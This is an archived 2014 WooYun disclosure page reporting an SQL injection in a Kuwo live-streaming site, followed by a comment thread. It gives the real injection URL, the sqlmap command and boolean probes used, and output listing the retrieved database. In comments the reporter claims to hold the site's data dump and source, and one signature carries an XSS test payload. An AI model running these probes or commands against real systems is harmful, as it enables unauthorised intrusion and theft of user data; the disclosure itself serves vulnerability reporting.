当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-064097

漏洞标题：酷我美女直播网站SQL注入可获取美女主播资料

相关厂商：酷我音乐

漏洞作者： 蓝莓说

提交时间：2014-06-09 10:53

修复时间：2014-06-14 10:54

公开时间：2014-06-14 10:54

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-09： 细节已通知厂商并且等待厂商处理中
2014-06-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

酷我美女直播网站SQL注入可获取美女主播资料

详细说明：

[03:05:20] [INFO] retrieved: KLiveDB_online
available databases [1]:
[*] KLiveDB_online
注入点 http://x.kuwo.cn/KuwoLive/GetTopGiftWeekList?uid=129683106

漏洞证明：

python sqlmap/sqlmap.py -u "http://x.kuwo.cn/KuwoLive/GetTopGiftWeekList?uid=129683106" --dbs
http://x.kuwo.cn/KuwoLive/GetTopGiftWeekList?uid=129683106 and 1=1
http://x.kuwo.cn/KuwoLive/GetTopGiftWeekList?uid=129683106 and 1=2

t01163b6f7c30b4469f.jpg

修复方案：

版权声明：转载请注明来源 蓝莓说@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-14 10:54

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-09 10:56 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    说好的discuz前台漏洞呢?

  2. 2014-06-09 10:57 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    说好的discuz前台漏洞呢?

  3. 2014-06-09 10:57 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    说好的discuz前台漏洞呢?

  4. 2014-06-09 10:58 | 蓝莓说 ( 实习白帽子 | Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)

    人已死有事烧纸 保你全家

  5. 2014-06-09 11:00 | X,D ( 普通白帽子 | Rank:143 漏洞数:8 | X,D)

    说好的5天后discuz前台漏洞呢? 这尼玛半个月都过去了

  6. 2014-06-09 12:07 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    说好的discuz前台漏洞呢?

  7. 2014-06-09 12:33 | 计算姬 ( 普通白帽子 | Rank:398 漏洞数:90 | 看我看我看我啊)

    不发discuz前台漏洞，你好意思发这种？

  8. 2014-06-09 13:15 | Black Angel ( 普通白帽子 | Rank:163 漏洞数:35 | 最神奇的一群人，智慧低调又内敛，俗称马甲...)

    说好的discuz前台漏洞呢?

  9. 2014-06-09 14:13 | GrayTrack ( 实习白帽子 | Rank:75 漏洞数:14 | 灰色轨迹)

    @蓝莓说 说好的discuz前台漏洞呢?没有你吹什么牛B啊

  10. 2014-06-09 18:16 | 蓝莓说 ( 实习白帽子 | Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)

    这个 破网站 妈的做个友链还不可以 丫的幸好源码数据都在我手里

  11. 2014-06-10 14:27 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    说好的discuz前台漏洞呢?

  12. 2014-06-10 14:52 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    说好的discuz前台漏洞呢?

  13. 2014-06-10 15:30 | 那个夏天骚年未老 ( 路人 | Rank:0 漏洞数:2 | 呵呵，呵，呵呵呵)

    说好的discuz前台漏洞呢?

  14. 2014-06-11 13:58 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井，架工，木工，电工，水暖工，力...)

    美女是关键。。。

  15. 2014-06-14 11:00 | Peng s Blog ( 实习白帽子 | Rank:51 漏洞数:32 | 走在网络前端的，不是天才，就是疯子)

    说好的discuz前台漏洞呢?

  16. 2014-06-14 11:56 | Azui ( 路人 | Rank:25 漏洞数:10 | 用一只黑色铅笔画一出舞台默剧。)

    说好的discuz前台漏洞呢?

  17. 2014-06-14 12:25 | 小杰哥 ( 普通白帽子 | Rank:155 漏洞数:25 | 逆水行舟，不进则退。)

    说好的discuz前台漏洞呢?

  18. 2014-06-14 12:40 | 马杀鸡 ( 路人 | Rank:21 漏洞数:5 | 作为一匹勇敢的马，杀鸡是必不可少的)

    说好的discuz前台漏洞呢?

  19. 2014-06-14 12:48 | d0u ( 路人 | Rank:10 漏洞数:1 | 大道至简,衍化至繁)

    说好的美女主播资料呢？

  20. 2014-06-14 16:06 | 蓝莓说 ( 实习白帽子 | Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)

    这个 厂商是他妈垃圾 裤子 和源码 都在我手里

  21. 2014-06-14 19:41 | 小杰哥 ( 普通白帽子 | Rank:155 漏洞数:25 | 逆水行舟，不进则退。)

    洞主，好牛逼

  22. 2014-06-14 22:09 | 西西 ( 路人 | Rank:14 漏洞数:7 | 走过路过不会错过！)

    说好的discuz前台漏洞呢?

  23. 2014-06-14 22:11 | 西西 ( 路人 | Rank:14 漏洞数:7 | 走过路过不会错过！)

    No tables found

  24. 2014-06-14 23:26 | keke ( 路人 | Rank:6 漏洞数:8 | 目测和口算各种妹纸)

    说好的discuz前台漏洞呢?

  25. 2014-06-15 18:03 | 马化腾 ( 路人 | Rank:14 漏洞数:2 | 动词大呲咚呲哒呲)

    说好的discuz前台漏洞呢?

  26. 2014-06-17 11:22 | nauscript ( 普通白帽子 | Rank:291 漏洞数:57 | 我淫荡啊我淫荡)

    一句牛皮惊四座 从此节操是路人

  27. 2014-06-19 11:00 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    说好的discuz前台漏洞呢?

  28. 2014-07-17 23:36 | 赈早见琥珀主 ( 实习白帽子 | Rank:33 漏洞数:5 )

    @蓝莓说表示不信，这样的注入可以深入注射得到真正的数据么？

  29. 2014-08-19 12:33 | Hero ( 普通白帽子 | Rank:116 漏洞数:31 | 药药切克闹,充气娃娃迷幻药)

    @赈早见琥珀主 盲注